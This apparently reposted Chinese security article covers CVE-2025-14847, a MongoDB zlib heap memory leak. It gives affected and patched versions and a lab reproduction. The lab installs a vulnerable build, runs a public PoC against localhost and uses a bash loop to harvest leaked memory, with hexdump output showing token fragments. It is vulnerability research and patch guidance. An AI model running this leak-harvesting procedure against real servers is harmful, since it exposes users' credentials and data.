文章总结: CVE-2025-14847是MongoDBZlib压缩协议的高危堆内存信息泄露漏洞,因代码误用内存长度导致读取未初始化数据。攻击者可发送恶意包窃取敏感信息。影响4.2至8.2.2多个版本,建议立即更新至官方最新修复版本以阻断攻击。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,漏洞预警,数据安全
CVE-2025-14847
原创
新青年1号
网安小趴菜
2025年12月31日 08:30 浙江
| 漏洞概述 | | | | | — | — | — | — | | 漏洞名称 | MongoDB Zlib 压缩协议堆内存信息泄露漏洞 | | | | 漏洞编号 | CVE-2025-14847 | | | | 公开时间 | 2025-12-19 | CVSS 4.0 评分 | 8.7 | | 风险评级 | 高危 | CVSS 3.1 评分 | 7.5 | | 威胁类型 | 信息泄露 | 利用可能性 | 高 | | POC 状态 | 已公开 | 在野利用状态 | 未发现 | | EXP 状态 | 未公开 | 技术细节状态 | 未公开 |
漏洞详情
CVE-2025-14847 是 MongoDB 网络传输层中 Zlib 压缩处理的一个缺陷。在 message_compressor_zlib.cpp 中,原代码使用 output.length()返回已分配的内存大小,而非实际解压缩数据的长度。攻击者可通过快速与 MongoDB 服务器建立大量连接,发送格式错误的网络数据包,触发未初始化堆内存的读取,汇总泄露的内存数据,从而还原出敏感信息。
受影响范围
MongoDB Server 8.2.0 – 8.2.2
MongoDB Server 8.0.0 – 8.0.16
MongoDB Server 7.0.0 – 7.0.27
MongoDB Server 6.0.0 – 6.0.26
MongoDB Server 5.0.0 – 5.0.31
MongoDB Server 4.4.0 – 4.4.29
MongoDB Server 4.2.0 及以上版本
MongoDB Server 4.0.0 及以上版本
MongoDB Server 3.6.0 及以上版本
修复方案
官方已发布安全补丁,请即使更新至最新版本
MongoDB Server 8.2.* >= 8.2.3
MongoDB Server 8.0.* >= 8.0.17
MongoDB Server 7.0.* >= 7.0.28
MongoDB Server 6.0.* >= 6.0.27
MongoDB Server 5.0.* >= 5.0.32
MongoDB Server 4.4.* >= 4.4.30
漏洞复现
1、安装受影响的 MongoDB(以 8.0.16 为例)
| |
| — |
| # 更新软件包列表 sudo apt-get update # 安装必要工具 sudo apt-get install -y wget curl gnupg lsb-release # 导入 MongoDB 8.0 公共 GPG 密钥 curl -fsSL https://www.mongodb.org/static/pgp/server-8.0.asc | \ sudo gpg --dearmor -o /usr/share/keyrings/mongodb-server-8.0.gpg # 添加 MongoDB 8.0 仓库 echo "deb [ arch=amd64,arm64 signed-by=/usr/share/keyrings/mongodb-server-8.0.gpg ] https://repo.mongodb.org/apt/ubuntu noble/mongodb-org/8.0 multiverse" | \ sudo tee /etc/apt/sources.list.d/mongodb-org-8.0.list # 更新软件包列表 sudo apt-get update # 安装特定版本(受漏洞影响) sudo apt-get install -y \ mongodb-org=8.0.16 \ mongodb-org-database=8.0.16 \ mongodb-org-server=8.0.16 \ mongodb-org-mongos=8.0.16 \ mongodb-org-tools=8.0.16 |
2、查看默认的配置文件
| |
| — |
| # mongod.conf # for documentation of all options, see: # http://docs.mongodb.org/manual/reference/configuration-options/ # Where and how to store data. storage: dbPath: /var/lib/mongodb # engine: # wiredTiger: # where to write logging data. systemLog: destination: file logAppend: true path: /var/log/mongodb/mongod.log # network interfaces net: port: 27017 bindIp: 127.0.0.1 # how the process runs processManagement: timeZoneInfo: /usr/share/zoneinfo #security: #operationProfiling: #replication: #sharding: ## Enterprise-Only Options: #auditLog: |
3、启动 MongoDB
| |
| — |
| # 启动 mongo sudo systemctl start mongod # 检查状态 sudo systemctl status mongod ps aux | grep mongod | grep -v grep netstat -tlnp | grep 27017 # 验证版本 mongod --version ============应该输出=========== mongod --version db version v8.0.16 Build Info: { "version": "8.0.16", "gitVersion": "ba70b6a13fda907977110bf46e6c8137f5de48f6", "openSSLVersion": "OpenSSL 3.0.13 30 Jan 2024", "modules": [], "allocator": "tcmalloc-google", "environment": { "distmod": "ubuntu2404", "distarch": "x86_64", "target_arch": "x86_64" } } |
4、写入一些测试数据(模拟敏感数据)
| |
| — |
| mongosh <<'EOF' use testdb // 清空旧数据 db.users.deleteMany({}) // 插入包含敏感信息的测试数据(模拟真实用户数据) for(let i=0; i<3000; i++) { db.users.insertOne({ id: i, username: "admin_user_" + i, password: "SuperSecretPassword123!@#", // 明文密码 email: "admin" + i + "@company.com", ssn: "123-45-" + String(6789 + i).padStart(4, '0'), // 社会安全号 credit_card: "4532-1234-5678-" + String(1000 + i).padStart(4, '0'), // 信用卡号 api_key: "sk-proj-AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ" + i, // API 密钥 session_token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.SECRET_SESSION_" + i, internal_note: "CONFIDENTIAL: This is highly sensitive internal data - " + i, db_connection: "mongodb://root:MyDatabasePassword456!@localhost:27017/production" }) } print("\n=== Data Insertion Summary ===") print("✓ Total documents inserted: " + db.users.countDocuments()) // 显示示例数据(验证插入成功) print("\n=== Sample Document ===") printjson(db.users.findOne()) EOF |
5、安装漏洞验证脚本
| |
| — |
| sudo apt-get install -y python3-pip git # 克隆公开的 POC cd /tmp git clone https://github.com/joe-desimone/mongobleed.git cd mongobleed # 安装 Python 依赖 pip3 install pymongo --break-system-packages |
6、验证漏洞
| |
| — |
| root@ip-172-31-11-87:/tmp/mongobleed# python3 mongobleed.py --host 127.0.0.1 [*] mongobleed - CVE-2025-14847 MongoDB Memory Leak [*] Author: Joe Desimone - x.com/dez_ [*] Target: 127.0.0.1:27017 [*] Scanning offsets 20-8192 [+] offset= 262 len= 289: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn11\",\"ms [+] offset=1346 len= 54: ed transaction commit and skipped an update or updates [+] offset=1809 len= 65: �A�]Dmtc\f�u.N@��|��VTB\u0001SI//\u001c\b\n�i#~F8/x(@\u0016V\"Zo5 [+] offset=3213 len= 13: iled as empty [+] offset=3833 len= 102: ook 2ms, including 1ms for the log replay, 0ms for the rollback to stable, and 0 [+] offset=5900 len= 72: ������\u001f\u0005 ������Ѡ������� ��������������\u0003������{�������ǻp [+] offset=6757 len= 38: requested with cache fill ratio < 25% [*] Total leaked: 741 bytes [*] Unique fragments: 66 [*] Saved to: leaked.bin ============可以看到,内存泄露了 741 bytes=========== # 查看泄露文件 ls -lh leaked.bin # 查看十六进制数据 hexdump -C leaked.bin | head -50 ============输出如下,目前只泄露了一些连接信息:=========== 00000000 3a 30 30 5c 22 7d 2c 5c 22 73 5c 22 3a 5c 22 49 |:00\"},\"s\":\"I| 00000010 5c 22 2c 20 20 5c 22 63 5c 22 3a 5c 22 4e 45 54 |\", \"c\":\"NET| 00000020 57 4f 52 4b 5c 22 2c 20 20 5c 22 69 64 5c 22 3a |WORK\", \"id\":| 00000030 32 32 39 34 34 2c 20 20 20 5c 22 63 74 78 5c 22 |22944, \"ctx\"| 00000040 3a 5c 22 63 6f 6e 6e 31 31 5c 22 2c 5c 22 6d 73 |:\"conn11\",\"ms| 00000050 67 5c 22 3a 5c 22 43 6f 6e 6e 65 63 74 69 6f 6e |g\":\"Connection| 00000060 20 65 6e 64 65 64 5c 22 2c 5c 22 61 74 74 72 5c | ended\",\"attr\| 00000070 22 3a 7b 5c 22 72 65 6d 6f 74 65 5c 22 3a 5c 22 |":{\"remote\":\"| 00000080 31 32 37 2e 30 2e 30 2e 31 3a 34 37 39 31 38 5c |127.0.0.1:47918\| 00000090 22 2c 5c 22 69 73 4c 6f 61 64 42 61 6c 61 6e 63 |",\"isLoadBalanc| 000000a0 65 64 5c 22 3a 66 61 6c 73 65 2c 5c 22 75 75 69 |ed\":false,\"uui| 000000b0 64 5c 22 3a 7b 5c 22 75 75 69 64 5c 22 3a 7b 5c |d\":{\"uuid\":{\| 000000c0 22 24 75 75 69 64 5c 22 3a 5c 22 38 35 35 30 37 |"$uuid\":\"85507| 000000d0 31 35 34 2d 38 37 64 64 2d 34 61 61 37 2d 38 64 |154-87dd-4aa7-8d| 000000e0 62 31 2d 32 62 65 30 35 38 31 66 65 34 62 32 5c |b1-2be0581fe4b2\| 000000f0 22 7d 7d 2c 5c 22 63 6f 6e 6e 65 63 74 69 6f 6e |"}},\"connection| 00000100 49 64 5c 22 3a 31 31 2c 5c 22 63 6f 6e 6e 65 63 |Id\":11,\"connec| 00000110 74 69 6f 6e 43 6f 75 6e 74 5c 22 3a 32 7d 7d 5c |tionCount\":2}}\| 00000120 6e 30 99 bc ff 51 31 e0 e1 bc ff 51 31 70 9c bc |n0...Q1....Q1p..| 00000130 ff 51 31 c0 b0 8a ff 51 31 98 c7 8a ff 51 31 18 |.Q1....Q1....Q1.| 00000140 c2 8a ff 51 31 be 8a ff 51 31 5c 75 30 30 30 33 |...Q1...Q1\u0003| 00000150 ea ee fc fe 5c 75 30 30 30 34 5c 75 30 30 30 32 |....\u0004\u0002| 00000160 ce 3f 43 45 47 49 4e 54 56 57 6f 6e 78 82 8c 93 |.?CEGINTVWonx...| 00000170 95 9b a2 a4 b5 ba c1 c2 c5 d0 d1 d3 e8 74 73 72 |.............tsr| 00000180 65 64 20 74 72 61 6e 73 61 63 74 69 6f 6e 20 63 |ed transaction c| 00000190 6f 6d 6d 69 74 20 61 6e 64 20 73 6b 69 70 70 65 |ommit and skippe| 000001a0 64 20 61 6e 20 75 70 64 61 74 65 20 6f 72 20 75 |d an update or u| 000001b0 70 64 61 74 65 73 80 41 80 5d 44 6d 74 63 5c 66 |pdates.A.]Dmtc\f| 000001c0 80 75 2e 4e 40 80 80 7c 80 80 56 54 42 5c 75 30 |.u.N@..|..VTB\u0| 000001d0 30 30 31 53 49 2f 2f 5c 75 30 30 31 63 5c 62 5c |001SI//\u001c\b\| 000001e0 6e ff 69 23 7e 46 38 2f 78 28 40 5c 75 30 30 31 |n.i#~F8/x(@\u001| 000001f0 36 56 5c 22 5a 6f 35 36 69 6c 65 64 20 61 73 20 |6V\"Zo56iled as | 00000200 65 6d 70 74 79 63 6f 6f 6b 20 32 6d 73 2c 20 69 |emptycook 2ms, i| 00000210 6e 63 6c 75 64 69 6e 67 20 31 6d 73 20 66 6f 72 |ncluding 1ms for| 00000220 20 74 68 65 20 6c 6f 67 20 72 65 70 6c 61 79 2c | the log replay,| 00000230 20 30 6d 73 20 66 6f 72 20 74 68 65 20 72 6f 6c | 0ms for the rol| 00000240 6c 62 61 63 6b 20 74 6f 20 73 74 61 62 6c 65 2c |lback to stable,| 00000250 20 61 6e 64 20 30 6d 73 20 66 6f 72 20 74 68 65 | and 0ms for the| 00000260 20 63 68 65 63 6b 70 6f 69 6e 74 2e 74 51 d1 4a | checkpoint.tQ.J| 00000270 b4 5a 60 66 32 69 a0 ff ff ff ff f8 5c 75 30 30 |.Z`f2i......\u00| 00000280 31 66 5c 75 30 30 30 35 20 ff ff ff ff f8 e0 d1 |1f\u0005 .......| 00000290 a0 ff ff ff ff f9 fe e7 20 ff ff ff ff fa c0 b3 |........ .......| 000002a0 a0 ff ff ff ff fb e8 5c 75 30 30 30 33 a0 ff ff |.......\u0003...| 000002b0 ff ff fc 7b ab a0 ff ff ff ff fd c7 bb 70 ef 20 |...{.........p. | 000002c0 72 65 71 75 65 73 74 65 64 20 77 69 74 68 20 63 |requested with c| 000002d0 61 63 68 65 20 66 69 6c 6c 20 72 61 74 69 6f 20 |ache fill ratio | 000002e0 3c 20 32 35 25 |< 25%| 000002e5 |
7、尝试获取更多泄露的数据
| |
| — |
| #!/bin/bash cd /tmp/mongobleed || exit 1 # 第一步:插入敏感数据(如果之前已经插入,则不需要) echo "[1/4] 插入敏感测试数据..." mongosh --quiet <<'EOF' use testdb db.users.deleteMany({}) for(let i=0; i<5000; i++) { db.users.insertOne({ username: "admin_user_" + i, password: "SuperSecretPassword123!@#", email: "admin" + i + "@company.com", api_key: "sk-proj-AAAABBBBCCCCDDDDEEEEFFFFGGGG" + i, session_token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.SECRET_SESSION_" + i, ssn: "123-45-6789", credit_card: "4532-1234-5678-9010", db_password: "mongodb://admin:MyDatabasePassword456!@localhost:27017/production" }) } print("✓ Inserted " + db.users.countDocuments() + " documents") EOF # 第二步:创建查询循环 echo "[2/4] 创建查询循环脚本..." cat > /tmp/query_loop.sh <<'INNERSCRIPT' #!/bin/bash while true; do mongosh --quiet testdb --eval "db.users.find().limit(500).toArray()" > /dev/null 2>&1 sleep 0.05 done INNERSCRIPT chmod +x /tmp/query_loop.sh # 第三步:清空旧数据 echo "[3/4] 清理旧数据..." rm -f leaked*.bin /tmp/leaked_*.bin /tmp/all_leaked.bin /tmp/all_strings.txt # 第四步:执行攻击 echo "[4/4] 开始攻击..." /tmp/query_loop.sh & QUERY_PID=$! echo " [+] 查询循环已启动 (PID: $QUERY_PID)" echo " [+] 正在让敏感数据流经网络压缩层..." sleep 3 echo "" echo " [+] 执行 30 次 POC 攻击..." for i in {1..30}; do printf " Run %2d/30... " $i python3 mongobleed.py --host 127.0.0.1 --start 0 --end 16384 2>/dev/null | grep "Total leaked" if [ -f leaked.bin ]; then cp leaked.bin /tmp/leaked_run_${i}.bin fi sleep 0.3 done kill $QUERY_PID 2>/dev/null echo "" echo " [+] 查询循环已停止" echo "" echo "========================================" echo " 改进版数据泄露分析" echo "========================================" # 合并所有泄露数据 cat /tmp/leaked_run_*.bin > /tmp/all_leaked.bin 2>/dev/null TOTAL_SIZE=$(wc -c < /tmp/all_leaked.bin) echo "" echo "[*] 总泄露数据量: $TOTAL_SIZE 字节" |
结果如下:
| |
| — |
| root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep -i "admin" root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep -i "pass" root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep -i "secret" root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep -i "user" testdb.users~5c,}D root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep -E "[0-9]{3}-[0-9]{2}" :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn123545\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"127.0.0.1:37878\",\"isLoadBalanced\":false,\"uuid\":{\"uuid\":{\"$uuid\":\"aade77dd-1df1-44df-9510-426783298b23\"}},\"connectionId\":123545,\"connectionCount\":2}}\n:00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn123572\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"127.0.0.1:38118\",\"isLoadBalanced\":false,\"uuid\":{\"uuid\":{\"$uuid\":\"751f9eab-838d-4d2e-b8bf-d11316e7e472\"}},\"connectionId\":123572,\"connectionCount\":5}}\n :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn57580\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"127.0.0.1:38122\",\"isLoadBalanced\":false,\"uuid\":{\"uuid\":{\"$uuid\":\"9865c273-d5ae-4674-b238-974258aff596\"}},\"connectionId\":57580,\"connectionCount\":4}}\n0 root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep "@" Q1@lasclit Q1@sersu H@~7I? tsr=M(\u001cL\u0001\u001cbG\u0002@;~\u0013\u0012$g1MOCRET_SESSION_2589Eiled as emptycapshot max: 19790 snapshot count: 0, oldest timestamp: (0, 0) , meta checkpoint timestamp: (0, 0) base write gen: 1apshot max: 19789 snapshot count: 0, oldest timestamp: (0, 0) , meta checkpoint timestamp: (0, 0) base write gen: 1 8@ed transaction commit and skipped an update or updatesrtsiled as emptyc=M(\u001cL\u0001\u001cbG\u0002@;~\u0013\u0012$gCRET_SESSION_2589 Q1@:00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn244977\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"127.0.0.1:34988\",\"isLoadBalanced\":false,\"uuid\":{\"uuid\":{\"$uuid\":\"3c28cf72-f5ab-4d64-a2a7-c680f8363a65\"}},\"connectionId\":244977,\"connectionCount\":4}}\n0lasclit Q1@g \u0003ItsrMO=M(\u001cL\u0001\u001cbG\u0002@;~\u0013\u0012$g1 |
可以看到,泄露的数据中包含 Session Token 片段、数据库名称等。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网安小趴菜 新青年1号《CVE-2025-14847》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论